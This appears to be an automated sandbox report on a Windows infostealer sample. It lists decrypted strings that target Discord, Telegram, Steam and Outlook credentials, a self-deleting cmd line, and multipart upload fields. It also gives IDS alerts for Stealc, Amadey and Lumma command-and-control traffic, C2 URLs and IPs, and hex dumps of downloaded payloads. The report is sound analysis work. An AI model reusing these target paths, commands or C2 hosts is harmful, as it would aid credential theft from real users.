Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: System Summary:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: - HWID:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: - OS:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: - Architecture:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: - UserName:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: - Computer Name:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: - Local Time:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: - UTC:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: - Language:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: - Keyboards:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: - Laptop:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: - Running Path:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: - CPU:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: - Threads:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: - Cores:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: - RAM:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: - Display Resolution:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: - GPU:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: User Agents:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Installed Apps:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: All Users:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Current User:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Process List:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: system_info.txt
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: freebl3.dll
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: mozglue.dll
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: msvcp140.dll
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: nss3.dll
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: softokn3.dll
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: vcruntime140.dll
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: \Temp\
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: .exe
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: runas
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: open
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: /c start
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: %DESKTOP%
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: %APPDATA%
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: %USERPROFILE%
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: %DOCUMENTS%
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: %RECENT%
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: *.lnk
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: files
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: \discord\
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: \Telegram Desktop\
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: key_datas
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: map*
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Telegram
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Tox
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: *.tox
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: *.ini
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Password
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: 00000001
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: 00000002
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: 00000003
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: 00000004
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Pidgin
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: \.purple\
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: accounts.xml
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: token:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Software\Valve\Steam
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: SteamPath
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: \config\
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: ssfn*
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: config.vdf
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: DialogConfig.vdf
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: libraryfolders.vdf
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: loginusers.vdf
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: \Steam\
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: sqlite3.dll
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: done
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: soft
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: https
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: POST
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: HTTP/1.1
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: hwid
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: build
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: token
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: file_name
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: file
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: message
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: screenshot.jpg

Source: Idau8QuYa3.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49743 version: TLS 1.2

Source:	Binary string: wextract.pdb source: f5a1a3b065.exe, 0000000A.00000002.2932789444.00007FF6D80D9000.00000002.00000001.01000000.0000000B.sdmp, f5a1a3b065.exe, 0000000A.00000000.2727707842.00007FF6D80D9000.00000002.00000001.01000000.0000000B.sdmp, f5a1a3b065.exe.8.dr, random[1].exe.8.dr
Source:	Binary string: wextract.pdbGCTL source: f5a1a3b065.exe, 0000000A.00000002.2932789444.00007FF6D80D9000.00000002.00000001.01000000.0000000B.sdmp, f5a1a3b065.exe, 0000000A.00000000.2727707842.00007FF6D80D9000.00000002.00000001.01000000.0000000B.sdmp, f5a1a3b065.exe.8.dr, random[1].exe.8.dr
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: soonmaintain.exe, 0000000B.00000002.2934116612.000001263BAF1000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BAF8000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2946060782.0000012654420000.00000004.08000000.00040000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BB71000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: soonmaintain.exe, 0000000B.00000002.2934116612.000001263BAF1000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BAF8000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2946060782.0000012654420000.00000004.08000000.00040000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BB71000.00000004.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49745 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49783 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856121 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M2 : 192.168.2.4:49860 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49838
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49733 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49743 -> 104.21.11.101:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 07:45:16 GMTContent-Type: application/octet-streamContent-Length: 5242880Last-Modified: Fri, 27 Dec 2024 07:41:34 GMTConnection: keep-aliveETag: "676e5a2e-500000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 10 50 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 50 00 00 04 00 00 74 b3 50 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 90 24 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 a0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 a2 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 72 68 6e 65 74 70 72 00 40 2b 00 00 c0 24 00 00 34 2b 00 00 a4 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 62 69 74 65 75 63 6e 00 10 00 00 00 00 50 00 00 06 00 00 00 d8 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 50 00 00 22 00 00 00 de 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 07:45:25 GMTContent-Type: application/octet-streamContent-Length: 3241472Last-Modified: Fri, 27 Dec 2024 07:41:43 GMTConnection: keep-aliveETag: "676e5a37-317600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 80 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 31 00 00 04 00 00 ff 37 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 65 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 65 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d4 05 00 00 00 90 06 00 00 06 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 67 75 75 6c 76 6e 66 71 00 c0 2a 00 00 b0 06 00 00 b6 2a 00 00 98 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 72 65 73 77 61 6f 68 00 10 00 00 00 70 31 00 00 06 00 00 00 4e 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 31 00 00 22 00 00 00 54 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 07:46:28 GMTContent-Type: application/octet-streamContent-Length: 2282496Last-Modified: Wed, 25 Dec 2024 11:57:28 GMTConnection: keep-aliveETag: "676bf328-22d400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 44 d8 fe 65 00 b9 90 36 00 b9 90 36 00 b9 90 36 14 d2 95 37 01 b9 90 36 14 d2 93 37 02 b9 90 36 14 d2 94 37 12 b9 90 36 14 d2 91 37 11 b9 90 36 00 b9 91 36 a0 b9 90 36 14 d2 98 37 0a b9 90 36 14 d2 6f 36 01 b9 90 36 14 d2 92 37 01 b9 90 36 52 69 63 68 00 b9 90 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 f8 c4 1b ae 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 14 00 7c 00 00 00 54 22 00 00 00 00 00 00 82 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 23 00 00 04 00 00 54 13 23 00 02 00 60 c1 00 00 08 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c a2 00 00 b4 00 00 00 00 f0 00 00 fc 22 22 00 00 e0 00 00 08 04 00 00 00 00 00 00 00 00 00 00 00 20 23 00 20 00 00 00 10 9a 00 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 90 00 00 18 01 00 00 00 00 00 00 00 00 00 00 28 91 00 00 20 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 80 7b 00 00 00 10 00 00 00 7c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c8 22 00 00 00 90 00 00 00 24 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 1f 00 00 00 c0 00 00 00 04 00 00 00 a4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 08 04 00 00 00 e0 00 00 00 06 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 30 22 00 00 f0 00 00 00 24 22 00 00 ae 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 20 00 00 00 00 20 23 00 00 02 00 00 00 d2 22 00 00 